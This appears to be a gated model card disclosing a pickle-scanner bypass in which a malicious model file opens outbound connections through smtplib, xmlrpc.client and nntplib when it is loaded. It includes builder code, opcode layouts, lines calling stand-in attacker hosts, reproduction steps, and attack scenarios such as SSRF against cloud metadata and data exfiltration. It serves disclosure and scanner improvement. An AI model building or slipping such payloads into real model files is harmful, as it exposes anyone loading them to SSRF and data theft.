You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
SSRF via Network stdlib — smtplib, xmlrpc.client, nntplib
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 1 | 1 | Partial |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
Python's network stdlib modules establish outbound TCP connections when instantiated. A pickle can trigger this during pickle.loads():
smtplib.SMTP('attacker.com') # → TCP connection port 25
xmlrpc.client.ServerProxy('http://attacker.com/rpc') # → HTTP request
nntplib.NNTP('attacker.com', 119) # → NNTP connection
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build_smtplib_ssrf(host: str) -> bytes:
"""smtplib.SMTP(host) — outbound TCP connection on port 25.
Score: 2C (domain name + smtplib.SMTP)
"""
ops = bytearray(b"\x80\x04")
ops += sg("smtplib", "SMTP") + sbu(host) + b"\x85R."
return bytes(ops)
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-ssrf-network-stdlib
cd pickle-bypass-ssrf-network-stdlib
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
All three are already in modelaudit's ADF. Add to picklescan and modelscan deny lists.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
SSRF via Network stdlib — smtplib, xmlrpc.client, nntplib
Modelaudit scores:
smtplib.SMTP: 2 CRITICAL (domain name detected + in ADF)xmlrpc.client.ServerProxy: 1 CRITICAL + 1W (in ADF + network detection)nntplib.NNTP: 1 CRITICAL (in ADF)
picklescan/modelscan: 0 findings for all three
Mechanism
Python's network stdlib modules establish outbound TCP connections when instantiated. A pickle can trigger this during pickle.loads():
smtplib.SMTP('attacker.com') # → TCP connection port 25
xmlrpc.client.ServerProxy('http://attacker.com/rpc') # → HTTP request
nntplib.NNTP('attacker.com', 119) # → NNTP connection
Attack Scenarios
- SSRF probe: target internal services (
169.254.169.254AWS metadata,localhost:8080internal API) - Exfiltration:
xmlrpc.client.ServerProxysends HTTP requests — the URL or request body can carry stolen data - Canary detection: server logs confirm the model was loaded, even if the connection is refused
- Port scanning: try different ports/hosts; connection timing reveals open vs closed
Pickle Structures
# smtplib (40 bytes):
PROTO 4 → STACK_GLOBAL 'smtplib' 'SMTP' → 'attacker.evil.com' → TUPLE1 → REDUCE → STOP
# xmlrpc.client (55 bytes):
PROTO 4 → STACK_GLOBAL 'xmlrpc.client' 'ServerProxy' → 'http://evil.com/rpc' → TUPLE1 → REDUCE → STOP
# nntplib (37 bytes, proto 2):
PROTO 2 → GLOBAL 'nntplib' 'NNTP' → MARK → UNICODE host → INT port → TUPLE → REDUCE → STOP
Why picklescan/modelscan Miss These
None of smtplib, xmlrpc.client, or nntplib appear in their deny lists. The techniques are caught by modelaudit because modelaudit's ADF was extended to include these network primitives.
Recommended Fix
All three are already in modelaudit's ADF. Add to picklescan and modelscan deny lists.
General Analysis — Security Research